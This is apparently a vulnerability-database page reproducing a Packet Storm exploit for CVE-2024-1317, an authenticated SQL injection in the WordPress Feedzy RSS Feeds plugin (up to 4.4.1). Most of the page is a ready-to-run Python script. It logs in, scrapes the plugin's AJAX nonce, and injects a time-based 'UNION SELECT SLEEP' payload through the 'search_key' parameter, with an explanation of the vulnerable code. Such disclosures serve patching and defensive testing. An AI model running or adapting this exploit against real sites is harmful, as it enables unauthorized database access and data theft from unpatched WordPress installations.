Lucene search
+L

📄 WordPress Feedzy RSS Feeds 4.4.1 SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 25 Views

Authenticated SQL injection in WordPress Feedzy RSS Feeds up to 4.4.1 (CVE-2024-1317) via insecure ajax.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-1317
3 Mar 202410:16
circl
CNNVD
WordPress Plugin RSS Aggregator by Feedzy Security Vulnerability
29 Feb 202400:00
cnnvd
CVE
CVE-2024-1317
20 Feb 202418:56
cve
Cvelist
CVE-2024-1317 RSS Aggregator by Feedzy <= 4.4.2 - Authenticated(Contributor+) SQL Injection
20 Feb 202418:56
cvelist
EUVD
EUVD-2024-17075
3 Oct 202520:07
euvd
NVD
CVE-2024-1317
29 Feb 202401:43
nvd
OSV
CVE-2024-1317
29 Feb 202401:43
osv
Patchstack
WordPress RSS Aggregator by Feedzy Plugin <= 4.4.2 is vulnerable to SQL Injection
12 Feb 202400:00
patchstack
Prion
Sql injection
29 Feb 202401:43
prion
Positive Technologies
PT-2024-17937 · WordPress · The Rss Aggregator By Feedzy – Feed To Post
20 Feb 202400:00
ptsecurity
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Feedzy RSS Feeds <= 4.4.1 - Authenticated (Author+) SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/feedzy-rss-feeds/
    # Software Link: https://downloads.wordpress.org/plugin/feedzy-rss-feeds.4.4.1.zip
    # Version: 4.4.1 (REQUIRED)
    # Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
    # CVE : CVE-2024-1317
    """
    Feedzy RSS Feeds <= 4.4.1 dispatches the admin-ajax action `feedzy`
    (includes/admin/feedzy-rss-feeds-import.php:985 ajax()) with ONLY a nonce check
    (check_ajax_referer(FEEDZY_BASEFILE,'security')) and no capability check. The
    fetch_custom_fields sub-action reads `search_key` via filter_input(INPUT_POST, FILTER_UNSAFE_RAW)
    (bypassing WordPress slashing) and concatenates it raw into the prepare() FORMAT STRING
    (import.php:2633):
    
        $search_key = filter_input(INPUT_POST,'search_key',FILTER_UNSAFE_RAW);   // unsanitized, raw
        $like = " AND $wpdb->postmeta.meta_key LIKE '%$search_key%'";
        $wpdb->get_results($wpdb->prepare("SELECT DISTINCT(...meta_key) FROM ... $like LIMIT 0,9999", $post_type));
    
    Because $like is in the template (not an argument) and the quote is delivered raw, `search_key`
    injects into a single-quoted LIKE -> SQL injection. A single %27 suffices (no %2527).
    
    Payload: zzz%' UNION SELECT SLEEP(5)-- -
    
    Prior state: any account that can open the feedzy import editor (post-new.php?post_type=
    feedzy_imports) to harvest the `security` nonce (feedzy.ajax.security). In practice Author+ (a
    Contributor cannot render that screen). The ajax sink itself performs no capability check.
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
        ap.add_argument("--user", default="fza")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        h = s.get(base + "/wp-admin/post-new.php?post_type=feedzy_imports").text
        m = re.search(r'"security":"([a-z0-9]{10})"', h) or re.search(r'security["\']?\s*[:=]\s*["\']([a-z0-9]{10})', h)
        nonce = m.group(1) if m else None
        if not nonce:
            print("[-] could not harvest feedzy 'security' nonce (need Author+ to render the editor)")
            return 1
        print(f"[*] Target: {base} | user: {args.user} | security nonce: {nonce}")
    
        def probe(sec):
            d = {"action": "feedzy", "_action": "fetch_custom_fields", "post_type": "post",
                 "security": nonce, "search_key": "zzz%' UNION SELECT SLEEP(" + str(sec) + ")-- -"}
            t = time.time()
            r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=60)
            return time.time() - t, r.status_code
    
        t0, c0 = probe(0)
        t5, c5 = probe(args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (search_key param, feedzy fetch_custom_fields).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.18.8
EPSS0.00714
SSVC
25